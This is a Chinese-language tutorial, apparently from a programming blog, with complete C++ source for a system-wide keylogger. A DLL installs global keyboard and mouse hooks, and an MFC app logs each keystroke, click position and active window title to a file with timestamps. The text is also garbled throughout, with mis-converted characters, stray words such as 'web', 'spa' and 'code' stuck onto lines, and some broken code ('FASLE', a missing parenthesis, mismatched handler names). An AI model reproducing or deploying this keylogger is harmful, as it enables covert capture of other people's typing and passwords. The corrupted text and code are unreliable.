監控程序的實現
咱們發現一些木馬或其它病毒程序常常會將咱們的鍵盤或鼠標的操做消息記錄下來而後再將它發到他們指定的地方以實現監聽.這樣的功能其它是利用了全局鉤子將鼠標或鍵盤消息進行了截取,從而得到了操做的消息.要獲得鼠標和鍵盤的控制權,咱們要用SetWindowsHookEx這個函數:
HHOOK SetWindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle to application instance
DWORD dwThreadId // identity of thread to install hook for
);
當中idHook是要安裝的鉤子標識即鉤子的類型,lpfn是鉤子函數的消息處理過程,hMod是應用程序的實例句柄,dwThreadId是要爲哪一個線程安裝鉤子.假設它爲0則爲全部線程都安裝鉤子,即爲全局鉤子.這就是得到全部應用程序消息控制權的開始.咱們安裝的鉤子類型有很是多種主要是如下的:
WH_CALLWNDPROCWH_CALLWNDPROCRETWH_CBTWH_DEBUGWH_FOREGROUNDIDLEWH_GETMESSAGEWH_JOURNALPLAYBACKWH_JOURNALRECORDWH_KEYBOARDWH_KEYBOARD_LLWH_MOUSEWH_MOUSE_LLWH_MSGFILTERWH_SHELLWH_SYSMSGFILTER
當中WH_MOUSE是鼠標鉤子,WH_KEYBOARD是鍵盤鉤子.
不一樣的鉤子相應不一樣的鉤子過程,鉤子過程的寫法(以鍵盤鉤子過程爲例)是:
LRESULT CALLBACK MouseProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // mouse coordinates
);
鉤子過程的名字是不要緊的.
要取消鉤子的安裝可以用UnhookWindowsEx:
BOOL UnhookWindowsHookEx(
HHOOK hhk // handle to hook procedure to remove
);web
如下要介紹一下怎樣讓每個應用程序要安裝上鉤子函數,要讓每個應用程序都安裝上鉤子要用到動態連接庫的知識,利用動態連接庫載入到每個應用程序中.
咱們首先用VC6.0新建一個WINDOWS動態連接庫的空project,新建一個頭文件爲了動態連接庫自己和使用動態連接庫的應用程序也能用,咱們定義好導入導出宏和本身定義消息以及要導入和導出的函數的定義:
//HookDll.h
// 定義函數修飾宏,方便引用本DLLproject的導出函數
#ifdef KEYHOOKLIB_EXPORTS
#define KEYHOOKLIB_API __declspec(dllexport) //導出宏
#else
#define KEYHOOKLIB_API __declspec(dllimport) //導入宏
#endif
// 本身定義與主程序通訊的消息
#define HM_KEY WM_USER + 101 //本身定義鍵盤消息
#define HM_MOUSE WM_USER +102 //本身定義鼠標消息
// 聲明要導出的函數
BOOL KEYHOOKLIB_API WINAPI SetKeyHook(BOOL bInstall,
DWORD dwThreadId = 0, HWND hWndCaller = NULL);
BOOL KEYHOOKLIB_API WINAPI SetMouseHook(BOOL bInstall,
DWORD dwThreadId = 0, HWND hWndCaller = NULLwindows
如下再新建一個C++源文件HookDll.cpp:
咱們先包括<windows.h>頭文件
再定義#define KEYHOOKLIB_EXPORTS讓包括"HookDll.h"的時候,咱們使用的是導出宏,
#include "HookDll.h"
#pragma data_seg("YCIShared")
HWND g_hWndCaller = NULL; // 保存主窗體句柄
HHOOK g_hHook = NULL; // 保存鉤子句柄
HHOOK g_hMouseHook=NULL;
#pragma data_seg()
咱們上面定義了共享的全局窗體句柄和全局的鉤子標識,是爲了所有應用程序都共享這三個變量.
如下是鉤子函數的實現代碼:
HMODULE WINAPI ModuleFromAddress(PVOID pv) //得到鉤子函數的地址
{
MEMORY_BASIC_INFORMATION mbi;
if(::VirtualQuery(pv, &mbi, sizeof(mbi)) != 0)
{
return (HMODULE)mbi.AllocationBase;
}
else
{
return NULL;
}
}
LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)// 鍵盤鉤子函數消息過程
{
if(nCode < 0 || nCode == HC_NOREMOVE)
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);app
if(lParam & 0x40000000) // 消息反覆就交給下一個hook鏈
{
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
}ide
// 通知主窗體。wParam參數爲虛擬鍵碼, lParam參數包括了此鍵的信息
::PostMessage(g_hWndCaller, HM_KEY, wParam, lParam); //發送本身定義鍵盤消息
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
BOOL WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)// 安裝、卸載鉤子的函數
{
BOOL bOk;
g_hWndCaller = hWndCaller;函數
if(bInstall)
{
g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc,
ModuleFromAddress(KeyHookProc), dwThreadId); //安裝鍵盤鉤子
bOk = (g_hHook != NULL);
}
else
{
bOk = ::UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}this
return bOk;
}
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)//鼠標鉤子處理過程
{
if(nCode < 0 || nCode == HC_NOREMOVE)
return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
::PostMessage(g_hWndCaller, HM_MOUSE, wParam, lParam);//發送本身定義鼠標消息
return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
}
BOOL WINAPI SetMouseHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)
{
BOOL bOk;
g_hWndCaller = hWndCaller;
if(bInstall)
{
g_hMouseHook = ::SetWindowsHookEx(WH_MOUSE, MouseProc,
ModuleFromAddress(MouseProc),dwThreadId); //安裝鼠標鉤子
bOk = (g_hMouseHook != NULL);
}
else
{
bOk = ::UnhookWindowsHookEx(g_hMouseHook);
g_hMouseHook = NULL;
}
return bOk;
}
最後再在project文件夾下建一個HookDll.def模塊定義文件.寫上下面代碼
LIBRARY HookDll
EXPORTS //指明導出函數名稱
SetKeyHook
SetMouseHook
SECTIONS //指明共享字段
YCIShared Read Write Shared
用了模塊定義文件時,在使用動態連接庫的時間就可以直接用函數名調用函數了,不然將沒法找到函數.其有用模塊定義文件是爲了避免讓動態連接庫發生名字改編.spa
有了動態連接庫後咱們還需要用一個應用程序來設置和記錄咱們的鼠標和鍵盤記錄.
咱們新建一個基於對話框的MFC應用程序projectHookApp.咱們首先爲咱們的本身定義消息加入所需消息響應的實現代碼.
在對話框類的頭文件的protected如下的凝視宏中間加入
afx_msg longonHookKey(WPARAM wParam, LPARAM lParam);
afx_msg longonHookMouse(WPARAM wParam, LPARAM lParam);
指明消息處理函數,而後在對話框類的源文件裏的
BEGIN_MESSAGE_MAP(CHookAppDlg, CDialog)
和END_MESSAGE_MAP之間加入如下的代碼
ON_MESSAGE(HM_KEY,onHookKey)
ON_MESSAGE(HM_MOUSE,onHookMouse)
定義好後在源文件裏寫事實上現函數:
long CHookAppDlg::OnHookKey(WPARAM wParam, LPARAM lParam)
{
// 此時參數wParam爲用戶按鍵的虛擬鍵碼,
// lParam參數包括按鍵的反覆次數、掃描碼、前一個按鍵狀態等信息
char szKey[80];
::GetKeyNameText(lParam, szKey, 80); //得到按鍵名
CString strItem;
strItem.Format("用戶按鍵:%s", szKey);
CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1));
pListCtrl->InsertString(-1,strItem);
CFile MyFile;
char *content;
if(!MyFile.Open(this->MyDocumentDir,
CFile::modeRead | CFile::modeWrite))
{
MyFile.Open(this->MyDocumentDir,
CFile::modeCreate);
return 0;
}
MyFile.SeekToEnd(); //移動記錄指針到末尾
pListCtrl->GetText(pListCtrl->GetCount()-1,strItem);
content=strItem.GetBuffer(MAX_PATH);
MyFile.Write(content,strItem.GetLength());
CTime today=CTime::GetCurrentTime();
CString str=today.Format("/t/t%Y年%m月%d日 %H:%M:%S/r/n");
MyFile.Write(str.GetBuffer(str.GetLength()),str.GetLength());
MyFile.Close();
return 0;
}
long CHookAppDlg::OnHookMouse(WPARAM wParam, LPARAM lParam)
{
LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *)lParam;
CString strItem,strText;
CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1));
CPoint point;
::GetCursorPos(&point);
ClientToScreen(&point);
CWnd *pWnd=CWnd::GetForegroundWindow();
if(pWnd)
{
char str[80];
pWnd->GetWindowText(str,80);
strText.Format("窗體:%s",str);
}
CString str;
/*CString tempstr;
// ClientToScreen(&pMouseHook->pt);
int x,y;
x=pMouseHook->pt.x;
y=pMouseHook->pt.y;
tempstr.Format("X=%d,Y=%d",x,y);
strText+=tempstr;*/
if(wParam==WM_RBUTTONDOWN)
{
str.Format(" 右鍵單擊:位置 X=%d,Y=%d",point.x,point.y);
strText+=str;
pListCtrl->InsertString(-1,strText);
this->SaveToFile(strText,pListCtrl);
}
if(wParam==WM_LBUTTONDBLCLK)
{
ScreenToClient(&point);
str.Format(" 左鍵雙擊:位置 X=%d,Y=%d",point.x,point.y);
strText+=str;
pListCtrl->InsertString(-1,strText);
this->SaveToFile(strText,pListCtrl);
}
if(wParam==WM_LBUTTONDOWN)
{
str.Format(" 左鍵單擊:位置 X=%d,Y=%d",point.x,point.y);
//MessageBox(strText);
strText+=str;
pListCtrl->InsertString(-1,strText);
this->SaveToFile(strText,pListCtrl);
}
return 0;
}
void CHookAppDlg::SaveToFile(CString strText,CListBox *pListCtrl)
{
char *content;
CFile MyFile;
if(!MyFile.Open(this->MyDocumentDir,
CFile::modeRead | CFile::modeWrite))
{
MyFile.Open(this->MyDocumentDir,
CFile::modeCreate);
pListCtrl->InsertString(-1,"失敗");
return;
}
MyFile.SeekToEnd();
content=strText.GetBuffer(strText.GetLength());
MyFile.Write(content,strText.GetLength());
CTime today=CTime::GetCurrentTime();
CString strTime=today.Format("/t/t%Y年%m月%d日 %H:%M:%S/r/n");
MyFile.Write(strTime.GetBuffer(strTime.GetLength()),strTime.GetLength());
MyFile.Close();
}
上面的代碼就是實現將鼠標消息和鍵盤消息的操做消息加入到一個列表框中和記錄到一個文件上的代碼.當中this->MyDocumentDir是你要將操做消息記錄到的文件路徑.線程
在對話框初始化的時候
if(!SetKeyHook(TRUE,0, m_hWnd))
MessageBox("安裝鉤子失敗!");
if(!SetMouseHook(TRUE,0, m_hWnd))
MessageBox("安裝鉤子失敗!");指針
最後在
void CHookAppDlg::OnDestroy()
{
::SetKeyHook(FASLE);//取消安裝鉤子
::SetMouseHook(FALSE);//取消安裝鉤子
}code
這是鼠標和鍵盤消息的監聽代碼,你也可以爲應用程序安裝其它類型的鉤子.